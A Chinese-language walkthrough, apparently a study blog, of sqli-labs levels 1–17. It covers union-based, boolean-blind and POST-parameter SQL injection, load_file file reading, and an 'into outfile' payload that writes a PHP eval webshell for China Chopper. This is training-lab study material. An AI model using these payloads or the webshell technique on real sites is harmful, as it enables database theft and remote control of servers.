文章目录
一.less01~less04
1.less01:
进行输入后查看构造的sql语句为
id='1'
无特殊,将单引号前面闭合,后面注释即可
2.less02:
同上查看输入后构造的sql语句为
id=1
可以看到什么闭合都没有,直接构造即可
注意:在使用union联合查询语句后,发现没有回显,这时可以将id的值改为一个不存在的值(即让主查询语句进行报错),就可以显示出联合查询语句的查询信息了
3.less03:
同上
id=('1')
同理将这里的单引号和括号前闭合后注释即可
4.less04
id=("1")
同上
总结:要看一下回显是在联合查询的哪个位置回显的,然后让主查询报错,就可得到联合查询的结果。
二.补充知识
1.left()函数:
left(a,b)从a的左侧截取a的前b位,正确返回1,错误返回0
2.substr()函数:
substr(a,b,c)从位置b开始,截取a字符串c位长度
3.ascii()函数
将某个字符串转化为ascii值
三.less05~less17
1.less05
输入后发现,当你输入一个存在的值时显示you are in…,输入一个不存在的值时什么回显也没有。这就是典型的基于真假的盲注了
输入id=1’显示sql语句错误的提示,表名此处存在sql注入漏洞
构造闭合之后加
and left((select database()),1='c')
基于真假的盲注就是构造像这样的语句来进行猜测,从而达到相关的目的
另一种函数的用法
and ascii(substr(select database(),1,1))>156
这样也可以起到相同的作用,然后查看页面回显是正确时的还是错误时的,进而去确认
2.less06
与less05基本相同输入后显示
id="1"
方法与前面基本相同
补充知识
load_file()
读取本地文件
用法:select load_file(‘文件的路径’)
into outfile
写文件
用法:select ‘mysql is very good’ into outfile ‘test.text’;
或者是 select ‘crow 666’ into outfile ‘要写入的文件路径’;
3.less07
?id=1')) union select 1,2,'aaa' into outfile '要写入的地址' --+
如果不想将主查询语句的结果也写入进去,让主查询语句报错即可。
使用这个语句可以将一句话木马写入
例如将‘aaa’换成:
'<?php @eval($_post["crow"]);?>'
然后用菜刀连接一手,就可
4.less08
输入id=1,发现语句正确;然后输入id=1’,报错;加入注释符又显示正确。
可以看到输入正确时,页面显示you are in,错误时什么回显都没有,很明显的盲注
5.less09&less10
less09:
id='1'
less10:
id="1"
6.less11
当我们进行输入后可以看到很明显的一点就是这里的URL中并没有我们输入的参数,该传参类型为post。
注:- -+的注释主要是适用在URL中的,而#可以用在post传参中
还有就是这里用HackBar里的Post data进行post传参时点击发送没反应,后来从网上查将submit的首字母S改为大写就可以了(反正就是很玄学)
接下来的话就和上面差不多了,前面进行闭合,再将后面的语句注释(用#进行注释),这里可以用一些拼接函数来达到一次性输出的目的。
7.less12
和less11差不多,变的只是数据的包裹方式:
username=("admin")
总结一下数据包裹的一般形式
’
')
'))
"
")
"))
在猜测如何构造闭合时,可以按照上述的几个符号进行依次测试(这里可以采取暴力破解的方式)
8.less13
经过一系类的测试,发现本关为盲注,没有什么特殊的,还是一个一个的猜字母,不想那么麻烦的话可以直接用burp暴力破解
注:个人理解的or和and的用法,你可以将where语句理解成一个判断语句,or的话第一个错了会接下去判断另一个(只要有一头为真结果即为真),而and第一个错了就没必要再继续判断下一个了(两个都真结果才为真)。
9.less14
这关和13关差不多,唯一不同的地方就是构造闭合的方式:
username="ad"
10.less15
一样的,这关为盲注,参数的提交方式为post,不同的也是构造闭合的方式:
username='a'
11.less16
也是包裹方式的差异
username=("456")
12.less17
因为这一关的传参方式为post,利用burp抓包后找到传递参数的那句进行构造。
发现在对username进行单引号的闭合时,服务端会对我们传入的单引号进行转义,不能对username进行操作了。只能对password进行构造了
将password传入的参数进行前面单引号闭合,后面用#进行闭合
之后的就和前面几关一样了。